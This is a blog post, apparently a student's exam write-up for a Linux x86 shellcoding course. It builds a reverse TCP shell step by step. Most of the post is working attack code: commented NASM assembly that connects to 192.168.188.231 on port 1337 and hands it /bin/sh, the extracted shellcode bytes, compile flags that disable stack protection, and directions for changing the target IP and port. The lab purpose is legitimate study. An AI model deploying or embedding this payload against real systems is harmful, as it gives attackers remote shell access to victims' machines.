This post is the second of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course. Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
SLAE - 901
The files used in this assignment are here:http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
SLAE - 901
https://github.com/clubjk/SLAE32/tree/master/exam/task2
Assignment 2 Requirements
- Create a reverse TCP shellcode
- The shellcode connects back to a configured IP address and port. A shell gets executed on a successful connection
- The IP address and port should be easily configurable
Here are the steps:
- Create a socket (via sys_socket system call)
- Redirect stdin, stdout and stderr via dup2 (via dup2 system call)
- Connect to a specified IP and port (via sys_socket system call)
- Execute (via execve system call)
Creating the Assembly Script
1. Create a socket (via sys_socket system call)
global _start
section .text
_start:
; create socket with socketcall()
; socketcall(int call, unsigned long *args)
; socketcall is 102 (0x66)
; int socket(int domain, int type, int protocol)
; 1 2 1 6
; returns 7 in the socketfd
; eax = 0x66
; ebx = 0x1
; ecx = ptr to socket's args, from stack in reverse order
xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
mov al, 0x66 ; 0x66 in eax (102)
push ebx ; push 0 on the stack
mov bl, 0x1 ; move 1 into the ebx
push byte 0x1 ; push 1 on stack (type is(SOCK_STREAM))
push byte 0x2 ; push 2 on stack (domain is 2(AF_INET))
mov ecx, esp ; move memloc of esp to eax (eax =
socket(AF_INET, SOCK_STREAM, 0))
int 0x80 ; calls the socket system call, will
return the fc (0x07) to the eax
; Redirect input, output, and error output to the socket with
dup2
; int dup2(int oldfd, int newfd)
; (stdin = 0, stdout = 1, stderror = 2)
; dup2 is 63 or 0x3f
; ebx = socketfd
; ecx = fd (from 2 to 0)
xchg eax, ebx ; ebx = 7, eax = 1
pop ecx ; ecx = 2 (loop count)
loop:
mov al, 0x3f ; eax = 63 = dup2()
int 0x80 ; dup2(socketfd, ecx)
dec ecx ; decrement ecx from stderror to stdin
jns loop ; loop until ZF is set
; connect
; int connect(int sockfd, const struct sockaddr
*addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
; connect(socketfd, [2, port, IP], 16)
; eax = 0x66 = socketcall()
; ebx = 0x3 = connect()
; ecx = ptr to connect's args
mov al, 0x66 ; 0x66 = 102 = socketcall()
push dword 0xe7bca8c0 ; ip 192.168.188.231
push word 0x3905 ; port 1337
push word 0x0002 ; sin_family = 2 (AF_INET)
mov ecx, esp ; move memloc of args addr structure to ecx
push byte 0x10 ; addr_len = 16 (structure size)
push ecx ; push ptr of args structure
push ebx ; ebx = socketfd
mov bl, 0x3 ; ebx = 3 = connect()
mov ecx, esp ; move memloc of args socketfd
int 0x80 ; connect system call
xor eax, eax ; zeroize the eax
push edx ; edx = 0x00000000
push dword 0x68732f2f ; push //sh
push dword 0x6e69622f ; push /bin
mov ebx, esp ; ebx = ptr to memloc of "/bin//sh" string
push edx ; edx = 0x00000000
mov edx, esp ; edx = ptr to NULL address
push ebx ; pointer to memloc of args ( 0X00, /bin//sh,
0X00000000, &/bin//sh)
mov ecx, esp ; ecx points to argv
mov al, 0xb ; move execve system call number 11 to eax
int 0x80 ; execve /bin/sh
I compiled the .nasm file with the following commands:
$ nasm -f elf32 -o task2e.o task2e.nasm
$ ld -o task2e task2e.o
I tested it by executing it and catching a reverse shell on my Kali Linux machine:
It worked. Yay.
Creating Shellcode
I used the objdump command to check my binary for null bytes:
Once I determined that here were no null bytes I used a specially crafted objdump command to extract the binary's shellcode to enable easy copy and pasting:
$ objdump -d ./task2e|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
I copied the shellcode and pasted in into my skeleton shellcode.c script:
Then, I compiled it with the following command:
$ gcc -g -fno-stack-protector -z execstack shellcode.c -o shellcode
I executed the shellcode binary and set up a netcat listener on my Kali Linux machine:
It worked. Yay.
Configuring the shellcode's IP and port
From the shellcode.c:
unsigned char code[] = \
"\x31\xc0\x31\xdb\xb0\x66\x53\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\xc0\xa8\xbc\xe7\x66\x68\x05\x39\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\xb3\x03\x89\xe1\xcd\x80\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
The portion of the shellcode that calls the IP and the port is highlighted.
\xc0\xa8\xbc\xe7 is 192.168.188.231 (in hex little endian format)
127.1.1.1 is \7f\01\01\01
\x05\x39 is port number 1337 (in hex little endian format)
Port number 4444 is \x11\x5c
I modified the IP and port hex bytes in the shellcode for IP 127.1.1.1 and port 4444.
After recompiling the revised shellcode.c script, I set up a netcat listener on my SLAE lab Ubuntu VM, and executed the new shellcode binary:
It worked. Yay.
Here is the entire Assignment 2 assembly script:
;Author: clubjk | |
global _start | |
section .text | |
_start: | |
; create socket with socketcall() | |
; socketcall(int call, unsigned long *args) | |
; socketcall is 102 (0x66) | |
; int socket(int domain, int type, int protocol) | |
; 1 2 1 6 | |
; returns 7 in the socketfd | |
; eax = 0x66 | |
; ebx = 0x1 | |
; ecx = ptr to socket's args, from stack in reverse order | |
xor eax, eax ; zero out eax | |
xor ebx, ebx ; zero out ebx | |
mov al, 0x66 ; 0x66 in eax (102) | |
push ebx ; push 0 on the stack | |
mov bl, 0x1 ; move 1 into the ebx | |
push byte 0x1 ; push 1 on stack (type is 1 (SOCK_STREAM)) | |
push byte 0x2 ; push 2 on stack (domain is 2 (AF_INET)) | |
mov ecx, esp ; move memloc of esp to eax (eax = socket(AF_INET, SOCK_STREAM, 0)) | |
int 0x80 ; calls the socket system call, will return the fc (0x07) to the eax | |
; Redirect input, output, and error output to the socket with dup2 | |
; int dup2(int oldfd, int newfd) | |
; (stdin = 0, stdout = 1, stderror = 2) | |
; dup2 is 63 or 0x3f | |
; ebx = socketfd | |
; ecx = fd (from 2 to 0) | |
xchg eax, ebx ; ebx = 7, eax = 1 | |
pop ecx ; ecx = 2 (loop count) | |
loop: | |
mov al, 0x3f ; eax = 63 = dup2() | |
int 0x80 ; dup2(socketfd, ecx) | |
dec ecx ; decrement ecx from stderror to stdin | |
jns loop ; loop until ZF is set | |
; connect | |
; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen) | |
; connect(socketfd, [2, port, IP], 16) | |
; eax = 0x66 = socketcall() | |
; ebx = 0x3 = connect() | |
; ecx = ptr to connect's args | |
mov al, 0x66 ; 0x66 = 102 = socketcall() | |
push dword 0xe7bca8c0 ; ip 192.168.188.231 | |
push word 0x3905 ; port 1337 | |
push word 0x0002 ; sin_family = 2 (AF_INET) | |
mov ecx, esp ; move memloc of args addr structure to ecx | |
push byte 0x10 ; addr_len = 16 (structure size) | |
push ecx ; push ptr of args structure | |
push ebx ; ebx = socketfd | |
mov bl, 0x3 ; ebx = 3 = connect() | |
mov ecx, esp ; move memloc of args socketfd | |
int 0x80 ; connect system call | |
; execute a /bin/sh shell | |
; execve(const char *filename, char *const argv[filename], char *const envp[]) | |
; execve(/bin//sh, memloc of /bin/sh string, 0) | |
; eax = 0xb = execve [11] | |
; ebx = memloc of "/bin//sh" string | |
; ecx = memloc args string | |
; edx = *envp | |
xor eax, eax | |
push edx ; edx = 0x00000000 | |
push dword 0x68732f2f ; push //sh | |
push dword 0x6e69622f ; push /bin | |
mov ebx, esp ; ebx = ptr to memloc of "/bin//sh" string | |
push edx ; edx = 0x00000000 | |
mov edx, esp ; edx = ptr to NULL address | |
push ebx ; pointer to memloc of args ( 0X00, /bin//sh, 0X00000000, &/bin//sh) | |
mov ecx, esp ; ecx points to argv | |
mov al, 0xb ; move execve system call number 11 to eax | |
int 0x80 ; execve /bin/sh |
No comments:
Post a Comment